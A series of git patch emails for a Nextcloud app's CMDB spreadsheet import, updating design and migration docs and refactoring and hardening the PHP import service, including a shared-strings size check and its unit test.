model, BBN level, source fields and supplier, and the usage\'s status, phase-out date and business owner, with the values from the export. The usage\'s TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.', + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.", ) }}

@@ -130,7 +130,9 @@ :disabled="importing" aria-describedby="cmdb-import-publish-help" data-testid="cmdb-import-publish"> - {{ t('stackiq', 'Publish the applications this import creates') }} + {{ + t('stackiq', 'Publish the applications this import creates') + }}

{{ @@ -579,19 +581,27 @@ export default { */ summaryTiles() { const summary = this.report?.summary || {} - return [ - { key: 'rowsRead', label: t('stackiq', 'Rows read') }, - { key: 'created', label: t('stackiq', 'Created') }, - { key: 'updated', label: t('stackiq', 'Updated') }, - { key: 'unchanged', label: t('stackiq', 'Unchanged') }, - { key: 'skipped', label: t('stackiq', 'Skipped') }, - { key: 'failed', label: t('stackiq', 'Failed') }, - { key: 'warnings', label: t('stackiq', 'Warnings') }, - { key: 'unpublished', label: t('stackiq', 'Created unpublished') }, - ] - .map((tile) => ({ ...tile, value: Number(summary[tile.key]) || 0 })) - // Only an import run with publishing off leaves modules unpublished. - .filter((tile) => tile.key !== 'unpublished' || tile.value > 0) + return ( + [ + { key: 'rowsRead', label: t('stackiq', 'Rows read') }, + { key: 'created', label: t('stackiq', 'Created') }, + { key: 'updated', label: t('stackiq', 'Updated') }, + { key: 'unchanged', label: t('stackiq', 'Unchanged') }, + { key: 'skipped', label: t('stackiq', 'Skipped') }, + { key: 'failed', label: t('stackiq', 'Failed') }, + { key: 'warnings', label: t('stackiq', 'Warnings') }, + { + key: 'unpublished', + label: t('stackiq', 'Created unpublished'), + }, + ] + .map((tile) => ({ + ...tile, + value: Number(summary[tile.key]) || 0, + })) + // Only an import run with publishing off leaves modules unpublished. + .filter((tile) => tile.key !== 'unpublished' || tile.value > 0) + ) }, /** From e006952bc1c242fc5328f23bf6a13bba617e7544 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:22:36 +0200 Subject: [PATCH 164/176] =?UTF-8?q?fix(review):=20#1219=20b9=20c6=20?= =?UTF-8?q?=E2=80=94=20the=20change=20docs=20describe=20module=200.3.8,=20?= =?UTF-8?q?the=20publish=20option=20and=20the=20cancel=20answer?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit migration.md, design.md, tasks.md and test-plan.md still described the module schema at 0.3.5 with five properties. They now name 0.3.8 with the six properties (applicationType added), the BBN2+ enum value and the admin-only write rule on externalKey, in the target state, the key operations, the data impact, the rollback and the validation steps; the remaining 0.3.5 mentions say it was the first version of this change. design.md also gains the `publish` field in the API summary and in D6, and gives the cancel answer as {success: true, cancelRequested: true} for Nextcloud admins only. Co-Authored-By: Claude Opus 5.5 --- openspec/changes/cmdb-export-import/design.md | 10 +++++----- .../changes/cmdb-export-import/migration.md | 19 +++++++++++-------- openspec/changes/cmdb-export-import/tasks.md | 4 ++-- .../changes/cmdb-export-import/test-plan.md | 2 +- 4 files changed, 19 insertions(+), 16 deletions(-) diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index c1c323bc4..bc8d29030 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -136,7 +136,7 @@ The APPID is also stored as `externalNumber`, so it is visible on the module. ### D6. publicationDate -- New module: `publicationDate` = the import's start time (ISO 8601 with offset). This makes it visible to OpenCatalogi, given a catalogue that covers the stackiq `module` schema. +- New module: with `publish` on (the default, "Publish the applications this import creates"), `publicationDate` = the import's start time (ISO 8601 with offset). This makes it visible to OpenCatalogi, given a catalogue that covers the stackiq `module` schema. With `publish` off, the module is created without `publicationDate` and is not public; the report counts these modules as created unpublished. - Existing module: `publicationDate` and `depublicationDate` are never written, also when they are empty. An admin who depublished an imported module keeps it depublished. ### D7. Related objects and their order @@ -229,8 +229,8 @@ Source columns of "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB" and w The authoritative interface is in `contract.md`. In short: -- `POST /api/cmdb-import`: multipart `cmdbFile`, plus `municipalityUuid` or `municipalityName`, `updateExisting` (default `true`), `missingRecords` (default `keep`) and `operationId`. Nextcloud admins only, not delegated groups; CSRF. Answers 200 with the report, or one of the errors in D10. -- `POST /api/cmdb-import/{operationId}/cancel`: admin, CSRF. Answers 200 `{cancelRequested: true}`. +- `POST /api/cmdb-import`: multipart `cmdbFile`, plus `municipalityUuid` or `municipalityName`, `updateExisting` (default `true`), `publish` (default `true`, D6), `missingRecords` (default `keep`) and `operationId`. Nextcloud admins only, not delegated groups; CSRF. Answers 200 with the report, or one of the errors in D10. +- `POST /api/cmdb-import/{operationId}/cancel`: Nextcloud admins only, not delegated groups; CSRF. Answers 200 `{success: true, cancelRequested: true}`. - `GET /api/progress/{operationId}`: the existing route, unchanged. ## Database Changes @@ -245,7 +245,7 @@ The change is `kind: code`. Its weight is the import service, controller, reader 2. It follows the app's fragment convention (ADR-037), so it touches no other change's file. 3. It is deployed by the existing register import in the repair step, without a migration class. -The fragment bumps `module` to `0.3.5`. Fragments are merged in filename order and a scalar `version` is overwritten by the last fragment that sets it. `maintenance-and-roadmap.json` sets `module` to `0.3.4`, so a fragment that sorts before it would have its bump overwritten, and the new properties would never deploy. The file is therefore named `topdesk-cmdb-import.json`, which sorts after it, and a unit test asserts that the merged register declares `module` version `0.3.5` with the five properties. +The fragment bumps `module` to `0.3.8` (it shipped as `0.3.5` in the first version of this change). Fragments are merged in filename order and a scalar `version` is overwritten by the last fragment that sets it. `maintenance-and-roadmap.json` sets `module` to `0.3.4`, so a fragment that sorts before it would have its bump overwritten, and the new properties would never deploy. The file is therefore named `topdesk-cmdb-import.json`, which sorts after it, and a unit test asserts that the merged register declares `module` version `0.3.8` with the six properties (`externalId`, `externalNumber`, `externalKey`, `externalCreatedAt`, `externalModifiedAt`, `applicationType`), `BBN2+` in the `bbnLevel` enum and the admin-only write rule on `externalKey`. ## Declarative-vs-imperative decision (ADR-031) @@ -305,7 +305,7 @@ lib/ topdesk-usage.json topdesk-business-owner.json register.d/ - topdesk-cmdb-import.json (module 0.3.5: five properties + seed modules) + topdesk-cmdb-import.json (module 0.3.8: six properties, BBN2+, externalKey write rule + seed modules) src/views/settings/ StackiqSettings.vue (registers the section) sections/CmdbImport.vue diff --git a/openspec/changes/cmdb-export-import/migration.md b/openspec/changes/cmdb-export-import/migration.md index b0b8cd43d..e90515866 100644 --- a/openspec/changes/cmdb-export-import/migration.md +++ b/openspec/changes/cmdb-export-import/migration.md @@ -6,7 +6,7 @@ The `module` schema in register `stackiq` is at version `0.3.4` after merging `s ## Target State -The `module` schema is at version `0.3.5` with five extra optional properties, all `visible`. None is `required`, so every existing module stays valid unchanged. +The `module` schema is at version `0.3.8` with six extra optional properties, all `visible`. None is `required`, so every existing module stays valid unchanged. Two existing rules change as well: `bbnLevel` gains the enum value `BBN2+`, and `externalKey` carries the write rule `authorization.update: ["admin"]`, so only a Nextcloud admin can change it through OpenRegister (the import writes it with RBAC off). The first version of this change, merged earlier, deployed `0.3.5` with the first five properties; an install that ran it moves from `0.3.5` to `0.3.8`. | Property | Type | Notes | |---|---|---| @@ -15,6 +15,7 @@ The `module` schema is at version `0.3.5` with five extra optional properties, a | `externalKey` | string, maxLength 200, `table.default: false` | `topdesk::`, the import's match key | | `externalCreatedAt` | string, format date | creation date in the source system | | `externalModifiedAt` | string, format date | last change in the source system | +| `applicationType` | string, maxLength 100, facetable | TOPdesk Applicatiesoort, as the source has it | Three seed modules (design.md, Seed Data) are added through the fragment's `components.objects`. @@ -26,27 +27,29 @@ No Nextcloud migration class. The schema change deploys through stackiq's existi Version: n/a (register version bump, no lib/Migration class) File: lib/Settings/register.d/topdesk-cmdb-import.json Key operations: -- components.schemas.module.version = "0.3.5" -- components.schemas.module.properties += externalId, externalNumber, externalKey, externalCreatedAt, externalModifiedAt +- components.schemas.module.version = "0.3.8" +- components.schemas.module.properties += externalId, externalNumber, externalKey, externalCreatedAt, externalModifiedAt, applicationType +- components.schemas.module.properties.externalKey.authorization.update = ["admin"] +- components.schemas.module.properties.bbnLevel.enum += "BBN2+" - components.objects += 3 seed modules (no publicationDate, no externalKey) ``` ## Migration Steps 1. Add `lib/Settings/register.d/topdesk-cmdb-import.json`. The filename must sort after `maintenance-and-roadmap.json`, so its `module.version` wins the scalar overwrite in the merge. -2. Run the repair step (app upgrade or `occ maintenance:repair`). OpenRegister sees `module` 0.3.5 > deployed 0.3.4, and updates the schema and its magic table. +2. Run the repair step (app upgrade or `occ maintenance:repair`). OpenRegister sees `module` 0.3.8 > deployed 0.3.4 (or 0.3.5 after the first version of this change), and updates the schema and its magic table. Until this step has run, the import refuses with `SCHEMA_OUTDATED`. 3. Seed modules are created when absent (matched on slug), as with the other seeds. ## Data Impact -Existing modules get five new empty columns. There is no data loss and no transformation. Safe on live data: the change is additive, and the columns are nullable. +Existing modules get six new empty columns (one, `applicationType`, on an install that already ran 0.3.5). There is no data loss and no transformation. Safe on live data: the columns are nullable, `BBN2+` only widens the enum, and the `externalKey` write rule only restricts who may change a value that only the import sets. ## Rollback Procedure -Remove the fragment and revert the PR. OpenRegister does not drop columns on a lower version, so the five columns stay, empty, and nothing reads them. To remove imported data, delete the modules with a non-empty `externalKey` and their usages. To remove the seed modules, delete the slugs `voorbeeld-zaaksysteem`, `voorbeeld-afsprakenplanner` and `voorbeeld-belastingapplicatie`. +Remove the fragment and revert the PR. OpenRegister does not drop columns on a lower version, so the six columns stay, empty, and nothing reads them. The `externalKey` write rule and the `BBN2+` enum value go with the reverted schema; a module that was saved with `bbnLevel` `BBN2+` then no longer validates until its level is changed. To remove imported data, delete the modules with a non-empty `externalKey` and their usages. To remove the seed modules, delete the slugs `voorbeeld-zaaksysteem`, `voorbeeld-afsprakenplanner` and `voorbeeld-belastingapplicatie`. ## Validation -- Unit test `tests/Unit/Settings/TopdeskCmdbFragmentTest.php` merges the register exactly as `SettingsService` does, and asserts `module.version === "0.3.5"` with the five properties present and none required. -- On the rig after the repair step: `GET /index.php/apps/openregister/api/schemas/` shows version `0.3.5` and the five properties. +- Unit test `tests/Unit/Settings/TopdeskCmdbFragmentTest.php` merges the register exactly as `SettingsService` does, and asserts `module.version === "0.3.8"` with the six properties present and none required, `BBN2+` in the `bbnLevel` enum, and `externalKey.authorization.update` = `["admin"]`. +- On the rig after the repair step: `GET /index.php/apps/openregister/api/schemas/` shows version `0.3.8`, the six properties and the `externalKey` write rule. - `GET /index.php/apps/openregister/api/objects/stackiq/module?externalId=APP-00001` returns the seed module `voorbeeld-zaaksysteem`. diff --git a/openspec/changes/cmdb-export-import/tasks.md b/openspec/changes/cmdb-export-import/tasks.md index c48be63af..1fe59ab28 100644 --- a/openspec/changes/cmdb-export-import/tasks.md +++ b/openspec/changes/cmdb-export-import/tasks.md @@ -19,7 +19,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (`S - **spec_ref**: `SPEC#requirement-a-module-shall-be-matched-on-its-topdesk-appid-so-a-re-import-updates-instead-of-duplicating-req-cmdb-006` (cmdb-export-import#REQ-CMDB-006) - **files**: `lib/Settings/register.d/topdesk-cmdb-import.json`, `tests/Unit/Settings/TopdeskCmdbFragmentTest.php` - **acceptance_criteria**: - - GIVEN all `register.d` fragments WHEN they are merged in filename order the way `SettingsService` does THEN `module.version` is `0.3.5` and `externalId`, `externalNumber`, `externalKey`, `externalCreatedAt`, `externalModifiedAt` exist, none required, with titles (hydra gate schema-property-titles) + - GIVEN all `register.d` fragments WHEN they are merged in filename order the way `SettingsService` does THEN `module.version` is `0.3.8` and `externalId`, `externalNumber`, `externalKey`, `externalCreatedAt`, `externalModifiedAt`, `applicationType` exist, none required, with titles (hydra gate schema-property-titles), `bbnLevel` allows `BBN2+`, and `externalKey` carries `authorization.update: ["admin"]` - GIVEN the fragment WHEN the register is imported on the rig THEN existing modules load and save unchanged, and the seed modules `voorbeeld-zaaksysteem`, `voorbeeld-afsprakenplanner` and `voorbeeld-belastingapplicatie` exist without `publicationDate` or `externalKey` (design.md, Seed Data) - [x] Implement - [x] Test @@ -138,7 +138,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (`S - PHPUnit for all new business logic (`tests/Unit/`), at least 75% coverage of new code (ADR-009), using the sanitised xlsx fixtures (not mocked rows) for reader and service tests - Newman/Postman for both new endpoints (Task 8); Playwright for the settings flow (Task 9) - `composer test`, `newman run` and the Playwright spec pass on the local rig -- Test against OpenRegister on the rig: the saved objects pass schema validation (module 0.3.5, organization, usage, contactPerson) +- Test against OpenRegister on the rig: the saved objects pass schema validation (module 0.3.8, organization, usage, contactPerson) - Hydra gates run locally (`scripts/run-hydra-gates.sh`); read the COVERAGE line and name any SKIPPED gate - Dutch (`nl_NL`) and English (`en_US`) strings for every new user-facing string (ADR-005) - Docs in `docs/features/cmdb-import.md` with screenshots (ADR-010) diff --git a/openspec/changes/cmdb-export-import/test-plan.md b/openspec/changes/cmdb-export-import/test-plan.md index 0224bd1f0..968a1ef42 100644 --- a/openspec/changes/cmdb-export-import/test-plan.md +++ b/openspec/changes/cmdb-export-import/test-plan.md @@ -117,7 +117,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (ab - **type**: regression - **preconditions**: all `register.d` fragments present - **steps**: merge the register as `SettingsService` does; run the repair step on the rig -- **expected result**: merged `module.version` is `0.3.5` with the five optional properties; existing modules still load and save; seed module `voorbeeld-zaaksysteem` present without `publicationDate` +- **expected result**: merged `module.version` is `0.3.8` with the six optional properties, `BBN2+` in the `bbnLevel` enum and the admin-only write rule on `externalKey`; existing modules still load and save; seed module `voorbeeld-zaaksysteem` present without `publicationDate` - **test command**: PHPUnit `tests/Unit/Settings/TopdeskCmdbFragmentTest.php`, `/test-regression` ## Coverage Summary From 5fd441738bf4e7d8dca9d9f9f40ea1ec70453ae6 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:23:02 +0200 Subject: [PATCH 165/176] =?UTF-8?q?fix(review):=20#1219=20c5=20=E2=80=94?= =?UTF-8?q?=20REQ-CMDB-013=20says=20when=20the=20server=20replaces=20the?= =?UTF-8?q?=20client's=20operation=20id?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The requirement said the import always runs under the operationId the client sends, while the service replaces an id that does not match the pattern, or that belongs to a cmdb_import still running, and returns the new one in the report (as contract.md already said). The requirement now states that rule, and a scenario names the two unit tests that pin it. Co-Authored-By: Claude Opus 5.5 --- .../specs/cmdb-export-import/spec.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 3b730ed82..d0f24e7ba 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -485,7 +485,7 @@ The import SHALL accept `missingRecords` with the value `keep`, which is also th ### Requirement: A running import SHALL report its progress and SHALL stop when cancelled (REQ-CMDB-013) -The import SHALL run as a `ProgressTracker` operation of type `cmdb_import` under the `operationId` the client sends, and SHALL update the processed row count after every row, readable through the existing `GET /api/progress/{operationId}`. `POST /api/cmdb-import/{operationId}/cancel`, admin-only (like the import, not open to delegated groups) and CSRF-protected, SHALL request cancellation. The service SHALL check for cancellation between rows, SHALL keep the rows already processed, and SHALL return the report with `cancelled: true`. The final report SHALL also be stored with the operation, so it can be read again within the tracker's lifetime. One import SHALL run per register at a time: the import SHALL hold an exclusive lock on its register from before the file is read until it returns or fails, and a second import while the lock is held SHALL be refused with 409 `IMPORT_IN_PROGRESS` before it reads the file or writes anything, because every match is find-then-create and two interleaved runs would each create the same records. +The import SHALL run as a `ProgressTracker` operation of type `cmdb_import` under the `operationId` the client sends, or under a generated one, returned as `operationId` in the report, when the client's id does not match `cmdb-` plus 8 to 64 letters, digits or hyphens, or belongs to a `cmdb_import` that is still running; it SHALL update the processed row count after every row, readable through the existing `GET /api/progress/{operationId}`. `POST /api/cmdb-import/{operationId}/cancel`, admin-only (like the import, not open to delegated groups) and CSRF-protected, SHALL request cancellation. The service SHALL check for cancellation between rows, SHALL keep the rows already processed, and SHALL return the report with `cancelled: true`. The final report SHALL also be stored with the operation, so it can be read again within the tracker's lifetime. One import SHALL run per register at a time: the import SHALL hold an exclusive lock on its register from before the file is read until it returns or fails, and a second import while the lock is held SHALL be refused with 409 `IMPORT_IN_PROGRESS` before it reads the file or writes anything, because every match is find-then-create and two interleaved runs would each create the same records. #### Scenario: The admin follows and cancels a running import @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts covers the section: the progress, the cancel request for the page's operation and the cancelled report. A two-row import finishes before a cancel can land between rows, so the server's stop before the next row is asserted by tests/Unit/Service/CmdbExportImportServiceTest.php testACancelStopsBetweenRows (cancel after row 1 of three: one processed row, cancelled true). @@ -496,6 +496,14 @@ The import SHALL run as a `ProgressTracker` operation of type `cmdb_import` unde - **AND** the report SHALL show 1 processed row and `cancelled: true` - **AND** the module created for the first row SHALL stay +#### Scenario: A malformed or still-running operation id is replaced +@e2e exclude The page always sends a fresh valid id; tests/Unit/Service/CmdbExportImportServiceTest.php testTheIdOfARunningOperationIsReplaced starts an operation under an id and imports with the same id, and testAnIdWithATrailingNewlineIsRefused imports with "cmdb-12345678\n"; both assert the report's operationId is a new id matching the pattern, and the first that the running operation keeps its owner and progress. + +- **GIVEN** a `cmdb_import` operation `cmdb-live-00001` that is still running for another admin +- **WHEN** a Nextcloud admin imports with `operationId` `cmdb-live-00001`, or with `cmdb-12345678` followed by a newline +- **THEN** the import SHALL run under a generated id, and the report's `operationId` SHALL be that id +- **AND** the running operation SHALL keep its owner and its progress + #### Scenario: A second import while one runs is refused @e2e exclude Two concurrent multipart requests cannot be timed reliably in the browser suite; tests/Unit/Service/CmdbExportImportServiceTest.php testASecondImportWhileOneRunsIsRefused starts a second import from inside the first and asserts 409 IMPORT_IN_PROGRESS with no save while the first runs on, testTheLockIsReleasedWhenTheImportThrows asserts the lock is released after a failure, and tests/Unit/Controller/CmdbImportControllerTest.php asserts the status and the translated message. From 129929f80b9b99dadb53853baa37c2cb2d1648a9 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:30:00 +0200 Subject: [PATCH 166/176] =?UTF-8?q?fix(review):=20#1219=20a2=20=E2=80=94?= =?UTF-8?q?=20declare=20the=20static=20sanitiser=20call=20in=20the=20contr?= =?UTF-8?q?oller=20for=20phpmd?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit failureContext() calls CmdbExportImportService::logSafeMessage(), which phpmd's StaticAccess rule flags. The call is deliberate: the helper is a pure function of the exception, shared so the controller and the service sanitise their logs the same way. The method docblock now says so in a reason-bearing @SuppressWarnings(PHPMD.StaticAccess). Co-Authored-By: Claude Opus 5.5 --- lib/Controller/CmdbImportController.php | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/Controller/CmdbImportController.php b/lib/Controller/CmdbImportController.php index 066a9dd94..7d1c00a8f 100644 --- a/lib/Controller/CmdbImportController.php +++ b/lib/Controller/CmdbImportController.php @@ -132,6 +132,9 @@ public function import(): JSONResponse { * * @return array{exception: string, error: string, file: string, line: int} * + * @SuppressWarnings(PHPMD.StaticAccess) logSafeMessage() is a pure function of the exception, shared with the service so + * both logs sanitise the same way. + * * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 */ private function failureContext(\Throwable $e): array { From bcd1c7340cfd60fc5c4b77e2534f17f0de0d8aca Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:30:00 +0200 Subject: [PATCH 167/176] =?UTF-8?q?fix(review):=20#1219=20b3=20=E2=80=94?= =?UTF-8?q?=20move=20the=20row=20normalisation=20out=20of=20processRow()?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Splitting the module match from the supplier step pushed processRow() past phpmd's 100-line limit. The normalisation of the row's cells and sheet constants moves to normaliseRow(), unchanged in behaviour, and matchModule() takes the run options instead of a separate flag. Co-Authored-By: Claude Opus 5.5 --- lib/Service/CmdbExportImportService.php | 41 +++++++++++++++---------- 1 file changed, 25 insertions(+), 16 deletions(-) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 0a4829bd6..de604e6df 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -549,13 +549,7 @@ private function processRow( CmdbImportReport $report, ): void { $sheet = $row['sheet']; - $values = $this->normaliser->normalise( - cells: array_merge($row['cells'], $this->profile->sheetConstants(sheetName: $sheet)), - dateColumns: $this->profile->dateColumns(), - idColumns: $this->profile->idColumns(), - date1904: $date1904, - emptyValues: $this->profile->emptyValues() - ); + $values = $this->normaliseRow(row: $row, date1904: $date1904); $rowNumber = $row['row']; $appId = ($values[$this->profile->keyColumn()] ?? ''); $name = ($values[$this->profile->nameColumn()] ?? ''); @@ -594,12 +588,7 @@ private function processRow( // ends as a conflict or `exists` creates no Supplier organisation. $step = 'module'; $externalKey = $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $matchKey; - $match = $this->matchModule( - externalKey: $externalKey, - municipalityUuid: $municipalityUuid, - matchKey: $matchKey, - updateExisting: $options['updateExisting'] - ); + $match = $this->matchModule(externalKey: $externalKey, municipalityUuid: $municipalityUuid, matchKey: $matchKey, options: $options); if ($match['skipReason'] !== null) { $this->addRow( report: $report, @@ -648,6 +637,26 @@ private function processRow( $this->addRow(report: $report, entry: $entry, outcome: $outcome, warnings: $warnings, moduleUuid: $moduleUuid, usageUuid: $usageUuid); }//end processRow() + /** + * The row's cells plus its sheet's constants, normalised the way the profile says. + * + * @param array{sheet: string, cells: array} $row The reader row. + * @param bool $date1904 The workbook's date system. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function normaliseRow(array $row, bool $date1904): array { + return $this->normaliser->normalise( + cells: array_merge($row['cells'], $this->profile->sheetConstants(sheetName: $row['sheet'])), + dateColumns: $this->profile->dateColumns(), + idColumns: $this->profile->idColumns(), + date1904: $date1904, + emptyValues: $this->profile->emptyValues() + ); + }//end normaliseRow() + /** * The warning for each formula cell of a row that had no cached value. * @@ -1012,7 +1021,7 @@ private function resolveManufacturer(array $values, int $rowNumber): ?string { * @param string $externalKey The module's import key. * @param string $municipalityUuid The consumer. * @param string $matchKey The APPID's match key. - * @param bool $updateExisting Whether a match is updated. + * @param array{updateExisting: bool} $options Whether a match is updated. * * @return array{existing: object|null, uuid: string|null, skipReason: string|null} The stored module, the uuid * to report for a skipped row, @@ -1020,7 +1029,7 @@ private function resolveManufacturer(array $values, int $rowNumber): ?string { * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ - private function matchModule(string $externalKey, string $municipalityUuid, string $matchKey, bool $updateExisting): array { + private function matchModule(string $externalKey, string $municipalityUuid, string $matchKey, array $options): array { $existing = $this->findOne(schemaKey: 'module', filters: ['externalKey' => $externalKey]); if ($existing === null) { return ['existing' => null, 'uuid' => null, 'skipReason' => null]; @@ -1036,7 +1045,7 @@ private function matchModule(string $externalKey, string $municipalityUuid, stri return ['existing' => $existing, 'uuid' => null, 'skipReason' => $reason]; } - if ($updateExisting === false) { + if ($options['updateExisting'] === false) { return ['existing' => $existing, 'uuid' => $uuid, 'skipReason' => $this->l10n->t('exists')]; } From 7025abe4ff1022a46152e03b5a80c372eb210177 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:32:16 +0200 Subject: [PATCH 168/176] =?UTF-8?q?fix(review):=20#1219=20a2=20=E2=80=94?= =?UTF-8?q?=20tag=20the=20now-public=20logSafeMessage()=20with=20its=20spe?= =?UTF-8?q?c?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit logSafeMessage() became public so the controller can sanitise its log the same way; a public method needs an @spec tag, which it now carries (tasks.md task 7, like the row failure path that uses it). Co-Authored-By: Claude Opus 5.5 --- lib/Service/CmdbExportImportService.php | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index de604e6df..d30ee019a 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -1939,6 +1939,8 @@ private function ownerColumn(string $target): string { * @param array $values The normalised row. * * @return string + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 */ public static function logSafeMessage(string $step, Throwable $e, array $values): string { if ($step === 'owners') { From 618450d6d2fcfe3db6bd1620ccbe9a44d0a9ec7f Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 17:29:08 +0200 Subject: [PATCH 169/176] =?UTF-8?q?fix(review):=20#1219=20p2=20=E2=80=94?= =?UTF-8?q?=20the=20shared-strings=20count=20finds=20the=20table=20under?= =?UTF-8?q?=20any=20part=20name?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The workbook's relationships may point the shared-strings table at any part, and PhpSpreadsheet follows them, so counting only parts named xl/sharedStrings*.xml let a renamed table past maxSharedStrings. The reader now streams every .xml part and counts the entries of the one whose root element is `sst`; the package's total unpacked size is already capped, so this stays cheap. New test: a 1001-entry table at xl/strs.xml is refused before any sheet loads (red without the fix). Verified with phpunit --filter Cmdb (195 OK), phpmd, phpstan, phpcs and the hydra gates (71 of 71 applicable, exit 0). Co-Authored-By: Claude Opus 5.5 --- lib/Service/Cmdb/CmdbWorkbookReader.php | 65 ++++++++++++++++--- .../Service/Cmdb/CmdbWorkbookReaderTest.php | 32 +++++++++ 2 files changed, 88 insertions(+), 9 deletions(-) diff --git a/lib/Service/Cmdb/CmdbWorkbookReader.php b/lib/Service/Cmdb/CmdbWorkbookReader.php index f99cbc367..352612769 100644 --- a/lib/Service/Cmdb/CmdbWorkbookReader.php +++ b/lib/Service/Cmdb/CmdbWorkbookReader.php @@ -319,13 +319,7 @@ private function assertSharedStringCount(string $path, int $limit): void { continue; } - $count = 0; - while ($count <= $limit && $xml->read() === true) { - if ($xml->nodeType === XMLReader::ELEMENT && $xml->depth === 1 && $xml->localName === 'si') { - $count++; - } - } - + $count = self::countSharedStrings(xml: $xml, limit: $limit); $xml->close(); } finally { libxml_clear_errors(); @@ -343,7 +337,60 @@ private function assertSharedStringCount(string $path, int $limit): void { }//end assertSharedStringCount() /** - * The shared-strings parts of a package: `xl/sharedStrings.xml`, or a numbered variant. + * Count the `` entries of a shared-strings part, stopping one past the limit. + * + * A part whose root element is not `sst` counts as 0. + * + * @param XMLReader $xml The reader, opened on one part. + * @param int $limit The maximum number of shared strings. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + private static function countSharedStrings(XMLReader $xml, int $limit): int { + if (self::rootIsSharedStrings(xml: $xml) === false) { + return 0; + } + + $count = 0; + while ($count <= $limit && $xml->read() === true) { + if ($xml->nodeType === XMLReader::ELEMENT && $xml->depth === 1 && $xml->localName === 'si') { + $count++; + } + } + + return $count; + }//end countSharedStrings() + + /** + * Whether the part an XMLReader just opened is a shared-strings table (root element `sst`). + * + * Advances the reader to the root element. + * + * @param XMLReader $xml The reader, opened on one part. + * + * @return bool + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + private static function rootIsSharedStrings(XMLReader $xml): bool { + while ($xml->read() === true) { + if ($xml->nodeType === XMLReader::ELEMENT) { + return $xml->localName === 'sst'; + } + } + + return false; + }//end rootIsSharedStrings() + + /** + * The XML parts of a package that may hold a shared-strings table. + * + * The workbook's relationships may point the table at any part name, and + * PhpSpreadsheet follows them, so every `.xml` part is a candidate; the + * caller keeps the ones whose root element is `sst`. The package's total + * unpacked size is already bounded, so streaming each part stays cheap. * * @param string $path The xlsx file. * @@ -358,7 +405,7 @@ private static function sharedStringParts(string $path): array { $parts = []; for ($index = 0; $index < $zip->numFiles; $index++) { $name = (string)$zip->getNameIndex($index); - if (preg_match('#^xl/sharedStrings\d*\.xml$#i', $name) === 1) { + if (preg_match('#\.xml$#i', $name) === 1) { $parts[] = $name; } } diff --git a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php index bb2f14a78..f27dc75ee 100644 --- a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php +++ b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php @@ -386,6 +386,38 @@ public function testASharedStringsTableBeyondTheLimitIsRefusedBeforeLoading(): v } }//end testASharedStringsTableBeyondTheLimitIsRefusedBeforeLoading() + /** + * A shared-strings table under another part name is counted too. + * + * The workbook's relationships can point the table at any part, and PhpSpreadsheet follows them, so the + * count recognises the table by its `sst` root element rather than by the name `xl/sharedStrings.xml`. + * + * @return void + */ + public function testASharedStringsTableUnderAnotherNameIsCounted(): void { + $this->requireSpreadsheet(); + require_once __DIR__ . '/../../Support/RecordingXlsxReader.php'; + $sheets = ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Naam'], [1, 'Een']]]; + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxSharedStrings' => 1000]); + $reader = new class extends CmdbWorkbookReader { + public const 